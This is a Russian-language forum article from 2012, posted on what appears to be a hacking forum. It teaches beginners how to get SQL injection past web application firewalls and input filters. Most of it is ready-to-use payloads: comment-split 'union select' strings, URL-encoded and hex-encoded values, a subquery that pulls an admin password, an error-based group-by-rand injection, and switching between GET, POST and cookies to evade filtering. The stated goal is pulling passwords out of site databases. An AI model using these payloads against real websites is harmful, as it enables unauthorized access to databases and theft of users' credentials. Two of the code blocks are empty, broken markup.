HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 22.06.2012, 03:06
Pirotexnik
Постоянный
Регистрация: 13.10.2010
Сообщений: 375
С нами: 8200406

Репутация: 38
По умолчанию

[INTRO]​
Доброго времени суток. Эта статья будет посвящена обходу разнообразных фильтров и WAF'ов во время проведения SQLi.

Если вы читаете эту статью - что это вы уже знаете.

В самом начале хочу сказать, что ничего сверх-нового я тут не напишу. Эта статья от новичка для новичков. Просто я собрал все известные мне способы воедино.

Ну что, погнали?

[ВХОЖДЕНИЯ]​
Все, или почти все, вафы реализуются с помощью вхождений.

Допустим есть переменная id, которая принимается REQUEST'ом, и сканится на наличие инъекции.

Переменная сканируется на наличее следующих вхождений:

Цитата:
Сообщение от None  
union select
Что такое вхождение?

Это некий параметр который кем-то задан. А в строке, которую сканируют - ищутся совпадения с тем, что было зарание определено. Например:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
Цитата:
Сообщение от None  
Array ( [0] => Array ( [0] => ing [1] => 6 ) )
Первое вхождение после 6-го символа. Возвращается либо 0(false) либо 1(true)

Регистро-независимая функция.

Простой пример фильтра на PHP:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
Вот и все, для новичка, казалось бы, можно опускать руки, НО! У нас же есть коменнтарии, которые никак не влияют на сам запрос к базе, зато влияют на строку. К примеру:

Цитата:
Сообщение от None  
site.com/ucp.php?id=1+union+select+user()+--+
$id=1 union select user() --

Все, запалились мы Но мы поступим по другому.

Цитата:
Сообщение от None  
site.com/ucp.php?id=1+union/**/select+user()+--+
$id=1 union/**/select user() --

Все, вхождений нету, вытаскиваем пароли

[МЕТОДА ОБХОДА]
В основном фильтры сканируют либо сам запрос (то, что шлет браузер), либо уже содержимое переменных, которые были заданы запросом.

Обход фильтрации пробелов:

filtered: id=1+and+1=2+--+

bypassed: id=(1)and(1)=2

bypassed: id=1/**/and/**/1=2

bypassed: id=1/*!and*/1=2

bypassed: id=%31%20%61%6E%64%20%31%3D%32%20%2D%2D%20

%31%20%61%6E%64%20%31%3D%32%20%2D%2D%20 эквивалентно 1 and 1=2 --

Последний способ побеждает некоторые фильтры первого типа. Это обычное URL кодирование.

Обход фильтрации комбинаций unoin select:

filtered: id=1+union+select+user()+--+

bypassed: id=1/**/union/**/select/**/user()/**/--/**/

bypassed: id=1/*!union*/select+user()+--+

Далее вы уже можете сами пофантозировать с формами обхода способом комментариев.

Хочу пояснить как работаю комментарии:

/* - открыть многострочный комментарий

*/ - закрыть многострочный комметарий

! - выполнить код, который после знака

Например:

Цитата:
Сообщение от None  
/*!
exec
*/
Цитата:
Сообщение от None  
/*comment*/
Более умные фильтрации:

А что же делать, если во всей строке ищутся вхождений union и select?

Тоесть не важно в какой последовательносте они стоят, если ОБА слова есть в строке - облом.

Тогда от одного прийдется избавится

filtered: id=1/*!uniON*//**//*!SeleCT*/pass+from+admins+where+id=1+--+

bypassed: id=-1 || (select+pass+from+admins+where+id=1)='admin'

Нужно знать таблицу, колонку, и какие-то данные (любые).

Поэтому я предпочитаюю Error Based:

Цитата:
Сообщение от None  
1+or+1+group+by+mid(user(),rand(0)|0,64)+having+av g(0)+--+
К тому же, можно обойтись и без select

[MAGIC_QUOTES]​
Очень часто магические кавычки, или addslashes() мешает нам работать. На помощь приходит старый добрый HEX. Например:

?id=1+union+select+pass+from+users+where+name='adm in'+--+

Если MQ=on, то запрос будет примерно таким:

Цитата:
Сообщение от None  
mysql("SELECT * from news where news_id=1 union select pass from users where name=
\'
admin
\'
--
Обходим хексом:

?id=1+union+select+pass+from+users+where+name=0x61 646D696E+--+

Цитата:
Сообщение от None  
mysql("SELECT * from news where news_id=1 union select pass from users where name=0x61646D696E -- ");
Не забывайте добавить , что бы мускул понял, что мы скармливаем ему хекс.

[АУТРО]​
Не забывайте, что почти всегда можно найти замену тому или иному элементу:

OR -- ||

AND -- &&

WHERE -- HAVING

ORDER -- GROUP

+ -- /**/

и тд.

[Игры с запросами]​
Дело в том, что обычные WAF фильтруют в основном POST\GET запросы. Или же очень строго фильтрую GET и обходимо фильтруют POST.

Фишка в том, что есть параметр принимается с помощью _REQUEST - его можно отправить 2(по дефолту в новых версиях) или 4-мя (при особых конфигах) способами.

Порядок такой: GPCS

гет, пост, куки, сессия.

Последующий перезатирает предедущий. Очень помогает, при обходах. Например ну никак гетом не можешь обойти - попробуй отправить постом.

Вот собственно и все. Критика приветствуется, статья будет дополнятся\изменятся в виду приобретения мною опыта и вашей критики.

Спасибо
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.